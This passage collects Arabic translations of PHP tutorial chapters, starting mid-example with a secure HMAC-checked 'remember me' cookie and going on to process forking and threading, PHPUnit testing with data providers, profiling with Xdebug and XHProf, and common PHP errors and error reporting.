':' . $mac; setcookie('rememberme', $cookie); } وللتحقق: function rememberMe() { $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : ''; if ($cookie) { list ($user, $token, $mac) = explode(':', $cookie); if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) { return false; } $usertoken = fetchTokenByUserName($user); if (hash_equals($usertoken, $token)) { logUserIn($user); } } } ترجمة -وبتصرف- للفصول [Security - Secure Remeber Me] من كتاب PHP Notes for Professionals book
  3. المعالجة المتعددة باستخدام دوال العمليات الفرعية المضمنة يمكنك استخدام الدوال المضمنة لتنفيذ عمليات PHP مثل عمليات فرعية forks، هذه أبسط طريقة لتحقيق عمل متوازٍ إذا كنت لا تحتاج أن تحدث خيوطك threads مع بعضها، يتيح لك هذا وضع المهام التي تستهلك الكثير من الوقت (مثل تحميل ملف إلى خادم آخر أو إرسال بريد إلكتروني) على عاتق خيط آخر لذا تزداد سرعة تحميل السكربت ويمكن استخدام نوى متعددة ولكن انتبه أنّ هذا ليس تعدد خيوط حقيقي وأنّ خيطك الأساسي لن يعرف ما يفعله الخيوط الأبناء. لاحظ أنّ هذا في نظام التشغيل ويندوز سيُظهر موجه أوامر لكل عملية فرعية تبدأها. ملف master.php: $cmd = "php worker.php 10"; // ‫نستخدم في نظام التشغيل ويندوز popen وpclose if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { pclose(popen($cmd,"r")); } // ‫نستخدم في أنظمة يونكس shell exec مع علامة "&" في النهاية { exec('bash -c "exec nohup setsid '.$cmd.' > /dev/null 2>&1 &"'); } ملف worker.php: // إرسال رسائل بريد إلكتروني، تحميل ملفات، تحليل سجلات وغير ذلك $sleeptime = $argv[1]; sleep($sleeptime); إنشاء عملية ابن باستخدام fork يوجد في PHP الدالة المضمنة pcntl_fork لإنشاء عملية ابن، وهي مشابهة للدالة fork في يونكس، لا تأخذ معاملات وترجع عددًا صحيحًا يمكن استخدامه للتمييز بين العملية الأب والعملية الابن، بفرض لدينا الشيفرة التالية: <?php // ‫‎$pid معرّف العملية الابن $pid = pcntl_fork(); if ($pid == -1) { die('Error while creating child process'); } else if ($pid) { // العملية الأب } else { // العملية الابن } ?> كما تلاحظ يدل ‎-1 على حدوث خطأ وعدم إنشاء العملية الابن، عند إنشاء العملية الابن يكون لدينا عمليتان تنفذان ولكل منهما معرِّف عملية PID مختلف.⁦ يجب أن ننتبه هنا أيضًا إلى العملية الميتة zombie process أو العملية المنقطعة defunct process عندما تنتهي العملية الأب قبل العملية الابن. لمنع العملية الابن الميتة نضيفpcntl_wait($status)‎ في نهاية العملية الأب، إذ توقف هذه الدالة تنفيذ العملية الأب حتى تنتهي العملية الابن. ويجب الانتباه أيضًا إلى أنه لا يمكن قتل العملية الميتة باستخدام العلامة SIGKILL. التواصل بين العمليات يسمح التواصل بين العمليات للمبرمجين بالتواصل بين العمليات المختلفة، فمثلًا إذا احتجنا لكتابة تطبيق PHP يمكنه تنفيذ أوامر bash وطباعة الخرج، سنستخدم الدالة proc_open التي ستنفذ الأمر وتعيد موردًا يمكننا التواصل معه، تُظهر الشيفرة التالية تنفيذًا بسيطًا ينفذ الأمر pwd في bash من PHP: <?php $descriptor = array( // أنبوب من أجل مجرى الدخل القياسي للابن 0 => array("pipe", "r"), // أنبوب من أجل مجرى الخرج القياسي للابن 1 => array("pipe", "w"), ); $process = proc_open("bash", $descriptor, $pipes); if (is_resource($process)) { fwrite($pipes[0], "pwd" . "\n"); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); $return_value = proc_close($process); } ?> تنفذ الدالة proc_open أوامر bash مع ‎$descriptor كمواصفات للواصف، ونستخدم بعدها is_resource للتحقق من صحة العملية، وعند الانتهاء يمكننا البدء بالتفاعل مع العملية الابن باستخدام ‎$pipes الذي يتولد تبعًا لمواصفات الواصف. بعد ذلك يمكننا استخدام fwrite للكتابة في مجرى الدخل القياسي للعملية الابن، وفي هذه الحالة يُتبع pwd بسطر إرجاع.، وأخيرًا نستخدم stream_get_contents للقراءة من مجرى الخرج القياسي للعملية الابن. تذكر دومًا إغلاق العملية الابن باستخدام الدالة proc_close()‎ التي ستنهي العملية الابن وتعيد شيفرة حالة الخروج. الإضافة متعددة الخيوط (Multi Threading) للبدء مع تعدد الخيوط تحتاج لتثبيت الإضافة pthreads ويمكنك القيام بذلك بكتابة: $ pecl install pthreads وإضافة المدخل إلى ملف php.ini. مثال بسيط باستخدام دلالات PHP7: <?php class MyThread extends Thread { /** * @var string * متغير يتضمن الرسالة التي ستُعرض */ private $message; public function __construct(string $message) { // ضبط قيمة الرسالة لهذا الكائن المحدد $this->message = $message; } // العمليات التي تؤدى في هذه الدالة تُنفَّذ في الخيط الآخر public function run() { echo $this->message; } } // ‫تهيئة الكائن MyThread $myThread = new MyThread("Hello from an another thread!"); // ابدأ الخيط، ومن الجيد أيضًا الانضمام إلى الخيط بشكلٍ صريح // ‫نستخدم Thread::start()‎ لتهيئة الخيط $myThread->start(); // ‫تسبب التعليمة Thread::join()‎ أن ينتظر السياق الخيط حتى انتهاء التنفيذ $myThread->join(); استخدام المجمعات (pools) والتوابع (workers) توفر التجميعات مستوى تجريدي أعلى لوظيفة التابع، بما في ذلك إدارة المراجع بالطريقة التي تطلبها pthreads (انظر هذه الصفحة). توفر المجمعات والتوابع مستوى تحكم أعلى وسهولة في إنشاء تعددية الخيوط. <?php // (1) class AwesomeWork extends Thread { private $workName; /** * @param string $workName * اسم العمل الذي سيُعطى لكل عمل */ public function __construct(string $workName) { // (2) $this->workName = $workName; printf("A new work was submitted with the name: %s\n", $workName); } public function run() { // (3) $workName = $this->workName; printf("Work named %s starting...\n", $workName); printf("New random number: %d\n", mt_rand()); } } // إنشاء عامل فارغ class AwesomeWorker extends Worker { public function run() { // (4) } } // (5) $pool = new \Pool(1, \AwesomeWorker::class); // (6) $pool->submit(new \AwesomeWork("DeadlyWork")); $pool->submit(new \AwesomeWork("FatalWork")); // (7) $pool->shutdown(); في الموضع (1) يوجد العمل الذي سيُنفَّذ من قِبل العامل، يحتاج هذا الصنف أن يرث الصنف ‎\Threaded أو ‎\Collectable أو ‎\Thread. في الموضع (2) كتلة الشيفرة في باني عملك والتي ستُنفَّذ عندما يُرسل عمل إلى مجمعك. في الموضع (3) ستُستدعى هذه الكتلة من الشيفرة من قِبل التابع، وستُنفَّذ كل شيفرة التابع في خيط آخر. في الموضع (4) يمكنك وضع بعض الشيفرة هنا والتي سينفذها العامل قبل بدء العمل. في الموضع (5) إنشاء كائن Pool جديد يقبل معاملين، الأول هو عدد العمال الأعظمي الذي يمكن إنشاؤه في المجمع، والثاني هو اسم صنف العامل. في الموضع (6) تحتاج إلى إرسال أعمالك بدلًا من نسخة الكائنات التي ترث الصنف ‎\Threaded. في الموضع (7) نحتاج إلى إيقاف المجمع بشكلٍ صريح وإلا قد يحصل شيء ما غير متوقع. ترجمة -وبتصرف- للفصول [Multiprocessing - Multi Threading Extension] من كتابPHP Notes for Professionals book
  4. قواعد صنف الاختبار بفرض لدينا الصنف LoginForm مع التابع rules()‎، والذي يستخدم في صفحة تسجيل الدخول مثل قالب لإطار العمل: class LoginForm { public $email; public $rememberMe; public $password; // (1) public function rules() { return [ // البريد الإلكتروني وكلمة السر مطلوبان [['email', 'password'], 'required'], // يجب أن يكون البريد الإلكتروني بصياغة بريد إلكتروني ['email', 'email'], // ‫يجب أن يكون الحقل rememberMe قيمة منطقية ['rememberMe', 'boolean'], // ‫يجب أن تطابق كلمة السر هذا النمط (أي تحوي أحرف وأرقام فقط) ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], ]; } // ‫تتحقق هذه الدالة من صحة القواعد الممررة public function validate($rule) { $success = true; list($var, $type) = $rule; foreach ((array) $var as $var) { switch ($type) { case "required": $success = $success && $this->$var != ""; break; case "email": $success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL); break; case "boolean": $success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE) !== null; break; case "match": $success = $success && preg_match($rule["pattern"], $this->$var); break; default: throw new \InvalidArgumentException("Invalid filter type passed") } } return $success; } } في الموضع (1) يعيد التابع rules()‎ مصفوفة بمتطلبات كل حقل، يستخدم نموذج تسجيل الدخول البريد الإلكتروني وكلمة المرور لاستيثاق المستخدم. نستخدم اختبار الوحدات لإجراء الاختبارات على هذا الصنف، أي للتحقق من الشيفرة المصدرية لمعرفة إذا كانت تناسب توقعاتنا: class LoginFormTest extends TestCase { protected $loginForm; // تنفيذ الشيفرة في بداية الاختبار public function setUp() { $this->loginForm = new LoginForm; } // (1) public function testRuleValidation() { $rules = $this->loginForm->rules(); // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); // اختبار صحة البريد الإلكتروني // بما أننا حددنا أن يكون البريد الإلكتروني بصياغة بريد إلكتروني فلا يمكن أن يكون فارغًا­ $this->loginForm->email = ''; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (empty)"); // ‫لا يحتوي البريد الإلكتروني على العلامة "@" لذا فهو غير صحيح $this->loginForm->email = 'invalid.email.com'; $this->assertFalse($this->loginForm->validate($rules), "Email should not be valid (invalid format)"); // قيمة صحيحة للبريد الإلكتروني من أجل الاختبار التالي $this->loginForm->email = 'valid@email.com'; // ‫اختبار صحة كلمة المرور والتي يجب ألا تكون فارغة (بما أنها مطلوبة) $this->loginForm->password = ''; $this->assertFalse($this->loginForm->validate($rules), "Password should not be valid (empty)"); // قيمة صحيحة لكلمة المرور من أجل الاختبار التالي $this->loginForm->password = 'ThisIsMyPassword'; // ‫اختبار صحة الحقل rememberMe $this->loginForm->rememberMe = 999; $this->assertFalse($this->loginForm->validate($rules), "RememberMe should not be valid (integer type)"); // ‫قيمة صحيحة للحقل rememberMe من أجل الاختبار التالي $this->loginForm->rememberMe = true; } } في الموضع (1) يجب أن نستخدم التابع validate()‎ للتحقق من صحة قواعدنا، يعود التابع testRuleValidation()‎ إلى اختبار الوحدة الخاص بالصنف LoginFormTest ويختبر القواعد المذكورة سابقًا. كيف يمكن أن يساعد اختبار الوحدات هنا (باستثناء الأمثلة العامة)؟ يناسبنا عند الحصول على نتائج غير متوقعة مثلًا، بفرض لدينا هذه القاعدة: ['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'], إذا نسينا شيئًا واحدًا مهمًا وكتبنا: ['password', 'match', 'pattern' => '/^[a-z0-9]$/i'], من الصعب اكتشاف الأخطاء مع وجود عشرات القواعد المختلفة، وبفرض أننا لا نستخدم البريد الإلكتروني وكلمة المرور فقط، إليك اختبار الوحدة هذا: // التهيئة للتحقق من صحة واختبار البيانات التالية $this->loginForm->email = "valid@email.com"; $this->loginForm->password = "password"; $this->loginForm->rememberMe = true; $this->assertTrue($this->loginForm->validate($rules), "Should be valid as nothing is invalid"); سيمرر هذا الاختبار مثالنا الأول وليس الثاني لأنه لدينا خطأ مطبعي في المثال الثاني (لم نكتب علامة +)، مما يعني أنه سيقبل حرف/رقم واحد فقط. يمكن تنفيذ اختبار الوحدات في الطرفية باستخدام الأمر phpunit [path_to_file]‎، إذا كان كل شيء صحيحًا، يجب أن نكون قادرين على رؤية الحالة OK لكل الاختبارات وإلا سنرى إما Error لخطأ في الصيغة، أو Fail على الأقل لسطر واحد لم يُمرَّر في ذلك التابع. يمكننا أيضًا باستخدام معاملات إضافية مثل ‎--coverage أن نحصل على عدد الأسطر المُختبرة من الشيفرة في الواجهة الخلفية backend وأيها نجحَ/فشلَ، يُطبَّق هذا على أي إطار عمل ثبّتَ PHPUnit. إليك مثال عن طريقة ظهور اختبار PHPUnit في الطرفية، وهو مثال عام وليس له صلة بمثالنا: مقدمو بيانات PHPUnit تحتاج توابع الاختبار عادةً إلى بيانات لتُختَبر بها، ولاختبار بعض التوابع كاملةً تحتاج لتوفير مجموعات بيانات مختلفة لكل حالة اختبار ممكنة، يمكنك القيام بذلك يدويًا باستخدام الحلقات، مثال: ... public function testSomething() { $data = [...]; foreach($data as $dataSet) { $this->assertSomething($dataSet); } } ... يمكن أن تجد هذه الطريقة مريحة ولكن لها بعض العيوب، أولًا عليك أن تؤدي إجراءات إضافية لاستخراج البيانات إذا كانت دالة الاختبار تقبل عدة معاملات، ثانيًا سيكون من الصعب في حالة الفشل تمييز مجموعة البيانات الخاطئة بدون تنقيح أخطاء ورسائل إضافية، ثالثًا يوفر PHPUnit طريقة تلقائية للتعامل مع مجموعات بيانات الاختبار باستخدام مقدمي البيانات. مقدم البيانات دالة يجب أن ترجع بيانات حالة الاختبار الخاصة بك، ويجب أن تكون هذه الدالة عامة وترجع إما مصفوفة من المصفوفات أو كائن ينفّذ الواجهة Iterator ويُرجع مصفوفة لكل خطوة تكرارية. كل مصفوفة جزء من المجموعة collection التي سيستدعيها تابع الاختبار مع محتويات المصفوفة كوسائط لها. لاستخدام مقدم البيانات مع الاختبار نستخدم التوصيف ‎@dataProvider مع اسم دالة مقدم البيانات المحددة: /** * @dataProvider dataProviderForTest */ public function testEquals($a, $b) { $this->assertEquals($a, $b); } public function dataProviderForTest() { return [ [1,1], [2,2], [3,2] //this will fail ]; } مصفوفة مصفوفات لاحظ أنّ الدالة dataProviderForTest()‎ ترجع مصفوفة من مصفوفات، كل مصفوفة متداخلة تحتوي عنصرين سيملآن المعاملات الضرورية للدالة testEquals()‎، إذا لم يكن هناك عناصر كافية سيُرمى خطأ مشابه للخطأ التالي: Missing argument 2 for Test::testEquals()‎ حيث سيمر PHPUnit تلقائيًا على كل البيانات وينفذ الاختبارات، كما هو ظاهر فيما يأتي: public function dataProviderForTest() { return [ [1,1], // [0] testEquals($a = 1, $b = 1) [2,2], // [1] testEquals($a = 2, $b = 2) [3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4) ]; } يمكن أن تُسمَّى كل مجموعة بيانات ليكون من الأسهل اكتشاف بيانات الفشل: public function dataProviderForTest() { return [ 'Test 1' => [1,1], // [0] testEquals($a = 1, $b = 1) 'Test 2' => [2,2], // [1] testEquals($a = 2, $b = 2) 'Test 3' => [3,2] // [2] There was 1 failure: // 1) Test::testEquals with data set "Test 3" (3, 4) ]; } المكررات class MyIterator implements Iterator { protected $array = []; public function __construct($array) { $this->array = $array; } function rewind() { return reset($this->array); } function current() { return current($this->array); } function key() { return key($this->array); } function next() { return next($this->array); } function valid() { return key($this->array) !== null; } } ... class Test extends TestCase { /** * @dataProvider dataProviderForTest */ public function testEquals($a) { $toCompare = 0; $this->assertEquals($a, $toCompare); } public function dataProviderForTest() { return new MyIterator([ 'Test 1' => [0], 'Test 2' => [false], 'Test 3' => [null] ]); } } كما تلاحظ، فإنَّ المكرِّر البسيط يعمل أيضًا، وأنّ مقدم البيانات يجب أن يرجع مصفوفة ‎$parameter حتى من أجل معامل واحد. إذا غيّرنا التابع current()‎ الذي يعيد البيانات في كل تكرار، بالشكل التالي: function current() { return current($this->array)[0]; } أو غيّرنا البيانات الفعلية: return new MyIterator([ 'Test 1' => 0, 'Test 2' => false, 'Test 3' => null ]); سنحصل على خطأ: There was 1 warning: 1) Warning The data provider specified for Test::testEquals is invalid. من غير المفيد طبعًا استخدام الكائن Iterator لتكرار محتويات مصفوفة بسيطة، يجب أن ينفّذ بعض المنطق المحدد لحالتك. المولدات generators لم يُشار إليها بشكلٍ صريح في التوثيق الرسمي لكن يمكنك استخدامها كمقدم بيانات أيضًا­، لاحظ أنّ الصنف Generator ينفّذ الواجهة Iterator فعليًا، إليك مثال عن استخدام DirectoryIterator مع مولِّد: /** * @param string $file * * @dataProvider fileDataProvider */ public function testSomethingWithFiles($fileName) { // ‫‎$fileName متاح هنا // اختبر هنا } public function fileDataProvider() { $directory = new DirectoryIterator('path-to-the-directory'); foreach ($directory as $file) { if ($file->isFile() && $file->isReadable()) { // تنفيذ المولِّد هنا yield [$file->getPathname()]; } } } لاحظ أنّ مقدم البيانات يُرجع مصفوفة، وستحصل على تحذير أنّ مقدم البيانات غير صحيح. استثناءات الاختبار لنفرض أنك تريد اختبار تابع يرمي استثناءً. class Car { /** * @throws \Exception */ public function drive() { throw new \Exception('Useful message', 1); } } يمكنك القيام بذلك عن طريق تضمين استدعاء التابع في كتلة try/catch وإجراء توكيدات على خاصيات كائن الاستثناء، أو يمكنك استخدام توابع توكيد الاستثناء للمزيد من الملاءمة، يمكنك بدءًا من الإصدار PHPUnit 5.2 استخدام توابع expectX()‎ المتاحة لتأكيد نوع ورسالة وشيفرة الاستثناء. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->expectException($expectedClass); $this->expectMessage($expectedMessage); $this->expectCode($expectedCode); // التنفيذ $car->drive(); } } يمكنك أن تستخدم التابع setExpectedException بدلًا من expectX()‎ إذا كنت تستخدم إصدارًا قديمًا من PHPUnit لكن تذكر أنه تابع مُهمل وسيُحذف في الإصدار 6. class DriveTest extends PHPUnit_Framework_TestCase { public function testDrive() { // التحضير $car = new \Car(); $expectedClass = \Exception::class; $expectedMessage = 'Useful message'; $expectedCode = 1; // الاختبار $this->setExpectedException($expectedClass, $expectedMessage, $expectedCode); // التنفيذ $car->drive(); } } الأداء التحليل مع Xdebug تُعَدّ إضافة Xdebug متاحةً للمساعدة في تحليل تطبيقات PHP، بالإضافة إلى تنقيح الأخطاء وقت التنفيذ، عند تنفيذ المحلل يُكتب الخرج في ملف بصياغة ثنائية تدعى cachegrind. توجد تطبيقات متوفرة على كل منصة لتحليل هذه الملفات. لتمكين التحليل نثبّت الإضافة ونعدّل إعدادات ملف php.ini. سننفذ في مثالنا المحلل اختياريًا بالاعتماد على معامل الطلب، يسمح لنا هذا بالحفاظ على الإعدادات ثابتة وتشغيل المحلل عندما نحتاج فقط. // اضبطه إلى 1 لتشغيله عند كل طلب xdebug.profiler_enable = 0 // ‫لنستخدم معامل GET/POST لتشغيل المحلِّل xdebug.profiler_enable_trigger = 1 // ‫قيمة GET/POST التي سنمررها، فارغة من أجل أي قيمة xdebug.profiler_enable_trigger_value = "" // ‫عرض ملفات الذاكرة cachegrind في المسار ‎/tmp حتى ينظفها النظام لاحقًا xdebug.profiler_output_dir = "/tmp" xdebug.profiler_output_name = "cachegrind.out.%p" ثم استخدم عميل ويب يرسل طلبًا إلى رابط التطبيق الذي ترغب بتحليله، مثل: http://example.com/article/1?XDEBUG_PROFILE=1 أثناء معالجة الصفحة للطلب سيكتب في ملف له اسم مشابه للتالي: /tmp/cachegrind.out.12345 لاحظ أنّه سيكتب ملف واحد لكل عملية/طلب PHP يُنفَّذ، لذا إذا أردت تحليل نموذج مُرسل بالطريقة POST سيُكتب تحليل واحد من أجل الطريقة GET لعرض نموذج HTML وستحتاج إلى تمرير المعامل XDEBUG_PROFILE ، من أجل الإقدام على طلب POST اللاحق لتحليل الطلب الثاني الذي يعالج النموذج، لذا فقد يكون من الأسهل تنفيذ مكتبة curl لإرسال نموذج بالطريقة POST مباشرةً عند التحليل. بمجرد أن يُكتب التحليل، فيمكنك قراءة الذاكرة المخبئية cache بتطبيق مثل KCachegrind: سيعرض التطبيق معلومات التحليل متضمنةً: الدوال المنفَّذة وقت استدعاء الدالة بمفردها واستدعاءات الدالة اللاحقة. عدد مرات استدعاء كل دالة. رسوم بيانية للاستدعاء روابط للشيفرة المصدرية من الواضح أنّ ضبط الأداء خاص جدًا بحالات استخدام كل تطبيق، بشكل عام من الأفضل التركيز على النقاط التالية: يجب ألا ترى استدعاءات متكررة لنفس الدالة، بالنسبة للدوال التي تعالج البيانات وتستعلم عنها قد يكون هناك فرص للتخزين المؤقت. وجود دوال بطيئة التنفيذ، أين يستهلك التطبيق معظم وقته؟ أفضل عائد لضبط الأداء هو التركيز على أجزاء التطبيق التي تستهلك معظم وقته. ملاحظة: إنّ إضافة Xdebug وخاصةً ميزاتها التحليلية مكثّفة للموارد وتبطئ تنفيذ PHP، لذا يُنصح بعدم تنفيذها في بيئة خادم الإنتاج. استخدام الذاكرة يُضبط حد ذاكرة زمن تنفيذ PHP باستخدام موجّه INI الـ ‏memory_limit، حيث يمنع هذا الضبط أي تنفيذ PHP مفرد من استخدام الكثير من الذاكرة مما يؤدي إلى استنزافها من أجل السكربتات الأخرى وبرنامج النظام. حد الذاكرة الافتراضي هو 128MB ويمكن أن يتغير في ملف php.ini أو في وقت التنفيذ. يمكن أن يُضبط ليكون غير محدود لكن يعدّ هذا عمومًا ممارسةً سيئة. يمكن أن يُحدَّد الاستخدام الدقيق للذاكرة أثناء وقت التنفيذ ᠎᠎عن طريق استدعاء الدالة memory_get_usage()‎ التي تعيد عدد بايتات الذاكرة المحجوزة للسكربت الحالي المُنفَّذ. بدءًا من الإصدار PHP 5.2 يوجد لهذه الدالة معامل منطقي اختياري للحصول على ذاكرة النظام المحجوزة الكلية على عكس الذاكرة الفعالة التي تستخدمها PHP. <?php echo memory_get_usage() . "\n"; // ‫الخرج 350688 (أو شيء ما مشابه وهذا يعتمد على النظام وإصدار PHP) // ‫لنستهلك جزءًا من الذاكرة RAM $array = array_fill(0, 1000, 'abc'); echo memory_get_usage() . "\n"; // 387704 // حذف المصفوفة من الذاكرة unset($array); echo memory_get_usage() . "\n"; // 350784 تعطيك الآن الدالة memory_get_usage استخدام الذاكرة في الوقت الذي نُفِّذت فيه، قد تخصص وتلغي تخصيص الكثير من الذاكرة بين استدعاءات الدالة المتلاحقة، يمكنك استخدام الدالة memory_get_peak_usage()‎ للحصول على الحجم الأعظمي من الذاكرة المستخدمة حتى نقطة معينة. <?php echo memory_get_peak_usage() . "\n"; // 385688 $array = array_fill(0, 1000, 'abc'); echo memory_get_peak_usage() . "\n"; // 422736 unset($array); echo memory_get_peak_usage() . "\n"; // 422776 لاحظ أنّ القيمة إما سترتفع أو تبقى ثابتة. التحليل باستخدام XHProf XHProf محلل PHP مكتوب من قِبل شركة فيسبوك لتوفير بديل أخف للإضافة XDebug، يمكن تمكين/تعطيل التحليل بعد تثبيت الوحدة xhprof من شيفرة PHP: xhprof_enable(); doSlowOperation(); $profile_data = xhprof_disable(); ستحتوي المصفوفة المُرجعة على بيانات حول عدد الاستدعاءات ووقت المعالج واستخدام الذاكرة لكل دالة تم الوصول إليها من داخل doSlowOperation()‎. يمكن استخدام ‎الدالة الموالية على أساس خيار أخف لتسجيل معلومات التحليل لجزء من الطلبات فقط (وبصياغة مختلفة).⁩ xhprof_sample_enable()/xhprof_sample_disable() ولهذا يستخدم المحلل بعض الدوال المساعدة (معظمها غير موثَّق) لعرض البيانات (اطلع على هذا المثال)، أو يمكنك أاستعمال أدوات أخرى لتصورها (يمكنك الاطلاع على هذا المثال من مدونة platform.sh). ترجمة -وبتصرف- للفصول Unit Testing - Performance من كتاب PHP Notes for Professionals book
  5. أخطاء شائعة استدعاء fetch_assoc على قيمة منطقية إذا حصلت على خطأ مشابه للتالي: Fatal error: Call to a member function fetch_assoc() on boolean in C:\xampp\htdocs\stack\index.php on line 7 تتضمن الاختلافات الأخرى شيئًا ما مثل: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given... تعني هذه الأخطاء أنّه يوجد شيء ما خاطئ إما مع الاستعلام (وهذا خطأ PHP/MySQL) أو مع المرجعية. أُنتج الخطأ السابق بسبب الشيفرة التالي: $mysqli = new mysqli("localhost", "root", ""); // لاحظ الأخطاء هنا $query = "SELCT * FROM db"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); لإصلاح هذا الخطأ يُنصَح بجعل mysql يرمي استثناءات بدلًا من ذلك: // أضف هذه الشيفرة في بداية السكربت mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ستؤدي هذه الشيفرة إلى رمي استثناء مع رسالة تساعدك كثيرًا: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'SELCT * FROM db' at line 1 مثال آخر يمكن أن ينتج عنه خطأ مشابه، هو عندما تعطي معلومات خاطئة لدالة mysql_fetch_assoc أو لدالة مشابهة: $john = true; mysqli_fetch_assoc($john, $mysqli); Unexpected $end إذا حصلت على خطأ مشابه للخطأ التالي: Parse error: syntax error, unexpected end of file in C:\xampp\htdocs\stack\index.php on line 4 أو قد يكون بالشكل unexpected $end وهذا يعتمد على نسخة PHP، ستحتاج عندها إلى التأكد من جميع فواصل الاقتباس وكل الأقواس الهلالية والمعقوصة والمعقوفة…. تنتج الشيفرة التالية الخطأ السابق: <?php if (true) { echo "asdf"; ?> لاحظ عدم وجود القوس المعقوص وأنّ رقم السطر الموضح في الخطأ لا صلة له بالموضوع، لأنه دائمًا يظهر السطر الأخير من ملفك. تصريف الأخطاء والتحذيرات أخطاء التحميل غير المتوقعة وأخطاء بناء الجملة تعني العبارة "Paamayim Nekudotayim" نقطتان مزدوجتان باللغة العبرية، لذا يشير هذا الخطأ إلى الاستخدام غير المناسب للعامل (::)، ويحدث عادةً بسبب محاولة استدعاء تابع ساكن في حين أنّه في الواقع غير ساكن. الحل الممكن: $classname::doMethod(); إذا سببت الشيفرة السابقة هذا الخطأ فغالبًا أنت تحتاج إلى تغيير طريقة استدعاء التابع الآتي: $classname->doMethod(); حيث يفترض المثال الأخير أنّ ‎$classname هو كائن من صنف والتابع doMethod()‎ ليس تابعًا ساكنًا من هذا الصنف. إشعار الفهرس غير المعرف Undefined index الظهور: محاولة الوصول إلى مصفوفة عن طريق مفتاح غير موجود في المصفوفة. الحل الممكن: التحقق من التوافرية قبل محاولة الوصول وذلك باستخدام: الدالة isset()‎. الدالة array_key_exists()‎. تحذير عدم إمكانية التعديل على معلومات الترويسة أو الترويسات المرسلة سلفا يظهر هذا الخطأ عندما يحاول السكربت إرسال ترويسة HTTP إلى العميل لكن كان هناك خرج بالفعل سابقًا مما يعني أنّ الترويسات قد اُرسلت سابقًا، وقد يعود ذلك إلى: تعليمتي Print وecho: سينهي خرج هاتين التعليمتين فرصة إرسال ترويسات HTTP، يجب إعادة هيكلية تدفق التطبيق لتجنب ذلك. مناطق HTML خام: تعد شيفرة HTML غير المحللة في ملف ‎.php خرج مباشر أيضًا، يجب ملاحظة شروط السكربت التي ستشغّل استدعاء header()‎ قبل أي كتل خام. <!DOCTYPE html> <?php // فات أوان إرسال الترويسات المسافة البيضاء قبل ‎<?php من أجل التحذير script.php line 1، إذا أشار التحذير إلى الخرج في السطر 1 فغالبًا السبب هو مسافة بيضاء أو نص أو شيفرة HTML قبل وسم الفتح ‎<?php. <?php # ‫يوجد مسافة مفردة/سطر جديد قبل ‎<?‎ معالجة الاستثناءات والإبلاغ عن الأخطاء error reporting ضبط الإبلاغ عن الأخطاء وأماكن عرضها يمكن ضبط الإبلاغ عن الأخطاء بشكلٍ ديناميكي إذا لم يُضبط سابقًا في ملف php.ini وذلك للسماح بعرض معظم الأخطاء. الصيغة int error_reporting ([ int $level ] ) أمثلة // ‫يجب أن تُستخدم دائمًا في الإصدارات السابقة للإصدار 5.4 error_reporting(E_ALL); // (1) error_reporting(-1); ?// بدون ملاحظات error_reporting(E_ALL & ~E_NOTICE); // التحذيرات والملاحظات فقط // كمثال فقط، لا يُنصح بالحصول على إبلاغ عن هؤلاء فقط error_reporting(E_WARNING | E_NOTICE); في الموضع (1) يُظهر الوسيط ‎-1 كل خطأ محتمل حتى عندما تُضاف ثوابت ومستويات جديدة في إصدارات لغة PHP المستقبلية، يقوم الوسيط E_ALL بنفس هذا العمل حتى الإصدار 5.4. ستُسجَّل الأخطاء افتراضيًا من قِبل PHP في ملف error.log في نفس مستوى الملف الذي يُنفَّذ، ويمكنك أن تعرضهم على الشاشة في بيئة التطوير: ini_set('display_errors', 1); ويجب أن تصبح الشيفرة في بيئة الإنتاج: ini_set('display_errors', 0); وستظهر رسالة المشكلة بشكلٍ واضح أثناء استخدام معالِج الاستثناء أو الخطأ. تسجيل الأخطاء الفادحة الخطأ الفادح في PHP هو نوع من الأخطاء التي لا يمكن التقاطها، لا يستأنف البرنامج تنفيذه عند التعرض لخطأ فادح، لكن لتسجيل هذا الخطأ أو معالجة الانهيار بطريقةٍ ما يمكنك استخدام register_shutdown_function لتسجيل معالج الإنهاء. function fatalErrorHandler() { // لنحصل على الخطأ الفادح الأخير $error = error_get_last(); // (1) if (null === $error || E_ERROR != $error['type']) { return; } // تسجيل الخطأ الأخير في ملف السجل // لنفرض أنّ السجلات موجودة في مجلد داخل مجلد التطبيق $logFile = fopen("./app/logs/error.log", "a+"); // الحصول على معلومات مفيدة عن الخطأ $type = $error["type"]; $file = $error["file"]; $line = $error["line"]; $message = $error["message"] fprintf( $logFile, "[%s] %s: %s in %s:%d\n", date("Y-m-d H:i:s"), $type, $message, $file, $line); fclose($logFile); } register_shutdown_function('fatalErrorHandler'); في الموضع (1) معالج الخطأ هذا فقط من أجل مثالنا، يعني عدم وجود خطأ أنّه لا يوجد أي خطأ وأنّ الإنهاء كان مناسبًا وتأكد أيضًا أنه سيعالج الأخطاء الفادحة فقط. تنقيح الأخطاء عرض المتغيرات تسمح الدالة var_dump بعرض محتويات المتغير (النوع والمتغير) لتنقيح الأخطاء. مثال $array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()]; var_dump($array); الخرج array(6) { [0]=> float(3.7) [1]=> string(6) "string" [2]=> int(10) [3]=> array(1) { ["hello"]=> string(5) "world" } [4]=> bool(false) [5]=> object(DateTime)#1 (3) { ["date"]=> string(26) "2016-07-24 13:51:07.000000" ["timezone_type"]=> int(3) ["timezone"]=> string(13) "Europe/Berlin" } } عرض الأخطاء يجب أن تمكّن الإعداد display_errors إذا 